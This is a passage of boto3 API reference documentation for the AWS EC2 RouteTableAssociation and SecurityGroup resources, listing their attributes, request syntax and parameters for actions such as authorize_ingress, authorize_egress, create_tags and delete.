+ +- [id](#EC2.RouteTableAssociation.id "EC2.RouteTableAssociation.id") + +These are the resource's available attributes: + +- [association_state](#EC2.RouteTableAssociation.association_state "EC2.RouteTableAssociation.association_state") +- [gateway_id](#EC2.RouteTableAssociation.gateway_id "EC2.RouteTableAssociation.gateway_id") +- [main](#EC2.RouteTableAssociation.main "EC2.RouteTableAssociation.main") +- [route_table_association_id](#EC2.RouteTableAssociation.route_table_association_id "EC2.RouteTableAssociation.route_table_association_id") +- [route_table_id](#EC2.RouteTableAssociation.route_table_id "EC2.RouteTableAssociation.route_table_id") +- [subnet_id](#EC2.RouteTableAssociation.subnet_id "EC2.RouteTableAssociation.subnet_id") + +These are the resource's available references: + +- [route_table](#EC2.RouteTableAssociation.route_table "EC2.RouteTableAssociation.route_table") +- [subnet](#EC2.RouteTableAssociation.subnet "EC2.RouteTableAssociation.subnet") + +These are the resource's available actions: + +- [delete()](#EC2.RouteTableAssociation.delete "EC2.RouteTableAssociation.delete") +- [get_available_subresources()](#EC2.RouteTableAssociation.get_available_subresources "EC2.RouteTableAssociation.get_available_subresources") +- [replace_subnet()](#EC2.RouteTableAssociation.replace_subnet "EC2.RouteTableAssociation.replace_subnet") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The RouteTableAssociation's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_state + +- _(dict) --_ + + The state of the association. + + - **State** _(string) --_ + + The state of the association. + + - **StatusMessage** _(string) --_ + + The status message, if applicable. + + +gateway_id + +- _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + +main + +- _(boolean) --_ + + Indicates whether this is the main route table. + + +route_table_association_id + +- _(string) --_ + + The ID of the association. + + +route_table_id + +- _(string) --_ + + The ID of the route table. + + +subnet_id + +- _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +route_table + +(RouteTable) The related route_table if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Disassociates a subnet or gateway from a route table. + +After you perform this action, the subnet no longer uses the routes in the route table. Instead, it uses the routes in the VPC's main route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateRouteTable) + +**Request Syntax** + +response = route_table_association.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +replace_subnet(kwargs_) + +Changes the route table associated with a given subnet, internet gateway, or virtual private gateway in a VPC. After the operation completes, the subnet or gateway uses the routes in the new route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can also use this operation to change which table is the main route table in the VPC. Specify the main route table's association ID and the route table ID of the new main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRouteTableAssociation) + +**Request Syntax** + +route_table_association = route_table_association.replace_subnet( + DryRun=True|False, + RouteTableId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the new route table to associate with the subnet. + + +Return type + +ec2.RouteTableAssociation + +Returns + +RouteTableAssociation resource + +[SecurityGroup](#id1251) +------------------------------------------------------------------------ + +_class_ EC2.SecurityGroup(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) SecurityGroup: + +import boto3 + +ec2 = boto3.resource('ec2') +security_group = ec2.SecurityGroup('id') + +Parameters + +**id** (_string_) -- The SecurityGroup's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.SecurityGroup.id "EC2.SecurityGroup.id") + +These are the resource's available attributes: + +- [description](#EC2.SecurityGroup.description "EC2.SecurityGroup.description") +- [group_id](#EC2.SecurityGroup.group_id "EC2.SecurityGroup.group_id") +- [group_name](#EC2.SecurityGroup.group_name "EC2.SecurityGroup.group_name") +- [ip_permissions](#EC2.SecurityGroup.ip_permissions "EC2.SecurityGroup.ip_permissions") +- [ip_permissions_egress](#EC2.SecurityGroup.ip_permissions_egress "EC2.SecurityGroup.ip_permissions_egress") +- [owner_id](#EC2.SecurityGroup.owner_id "EC2.SecurityGroup.owner_id") +- [tags](#EC2.SecurityGroup.tags "EC2.SecurityGroup.tags") +- [vpc_id](#EC2.SecurityGroup.vpc_id "EC2.SecurityGroup.vpc_id") + +These are the resource's available actions: + +- [authorize_egress()](#EC2.SecurityGroup.authorize_egress "EC2.SecurityGroup.authorize_egress") +- [authorize_ingress()](#EC2.SecurityGroup.authorize_ingress "EC2.SecurityGroup.authorize_ingress") +- [create_tags()](#EC2.SecurityGroup.create_tags "EC2.SecurityGroup.create_tags") +- [delete()](#EC2.SecurityGroup.delete "EC2.SecurityGroup.delete") +- [get_available_subresources()](#EC2.SecurityGroup.get_available_subresources "EC2.SecurityGroup.get_available_subresources") +- [load()](#EC2.SecurityGroup.load "EC2.SecurityGroup.load") +- [reload()](#EC2.SecurityGroup.reload "EC2.SecurityGroup.reload") +* [revoke_egress()](#EC2.SecurityGroup.revoke_egress "EC2.SecurityGroup.revoke_egress") +* [revoke_ingress()](#EC2.SecurityGroup.revoke_ingress "EC2.SecurityGroup.revoke_ingress") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The SecurityGroup's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.SecurityGroup.load "EC2.SecurityGroup.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +description + +* _(string) --_ + + A description of the security group. + + +group_id + +* _(string) --_ + + The ID of the security group. + + +group_name + +* _(string) --_ + + The name of the security group. + + +ip_permissions + +* _(list) --_ + + The inbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +ip_permissions_egress + +* _(list) --_ + + [VPC only] The outbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +owner_id + +* _(string) --_ + + The AWS account ID of the owner of the security group. + + +tags + +* _(list) --_ + + Any tags assigned to the security group. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + [VPC only] The ID of the VPC for the security group. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +authorize_egress(kwargs_) + +[VPC only] Adds the specified egress rules to a security group for use with a VPC. + +An outbound rule permits instances to send traffic to the specified IPv4 or IPv6 CIDR address ranges, or to the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For the TCP and UDP protocols, you must also specify the destination port or port range. For the ICMP protocol, you must also specify the ICMP type and code. You can use -1 for the type or code to mean all types or all codes. + +Rule changes are propagated to affected instances as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupEgress) + +**Request Syntax** + +response = security_group.authorize_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Returns + +None + +authorize_ingress(kwargs_) + +Adds the specified ingress rules to a security group. + +An inbound rule permits instances to receive traffic from the specified IPv4 or IPv6 CIDR address ranges, or from the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For TCP and UDP, you must also specify the destination port or port range. For ICMP/ICMPv6, you must also specify the ICMP/ICMPv6 type and code. You can use -1 to mean all types or all codes. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupIngress) + +**Request Syntax** + +response = security_group.authorize_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) + +Parameters + +* **CidrIp** (_string_) -- + + The IPv4 address range, in CIDR format. You can't specify this parameter when specifying a source security group. To specify an IPv6 address range, use a set of IP permissions. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **FromPort** (_integer_) -- + + The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use -1 to specify all types. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- + + The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). To specify icmpv6 , use a set of IP permissions. + + [VPC only] Use -1 to specify all protocols. If you specify -1 or a protocol other than tcp , udp , or icmp , traffic on all ports is allowed, regardless of any ports you specify. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **SourceSecurityGroupName** (_string_) -- [EC2-Classic, default VPC] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. For EC2-VPC, the source security group must be in the same VPC. +* **SourceSecurityGroupOwnerId** (_string_) -- [nondefault VPC] The AWS account ID for the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- + + The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use -1 to specify all codes. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = security_group.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes a security group. + +If you attempt to delete a security group that is associated with an instance, or is referenced by another security group, the operation fails with InvalidGroup.InUse in EC2-Classic or DependencyViolation in EC2-VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSecurityGroup) + +**Request Syntax** + +response = security_group.delete( + GroupName='string', + DryRun=True|False +) + +Parameters + +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You can specify either the security group name or the security group ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_security_groups()](#EC2.Client.describe_security_groups "EC2.Client.describe_security_groups") to update the attributes of the SecurityGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API 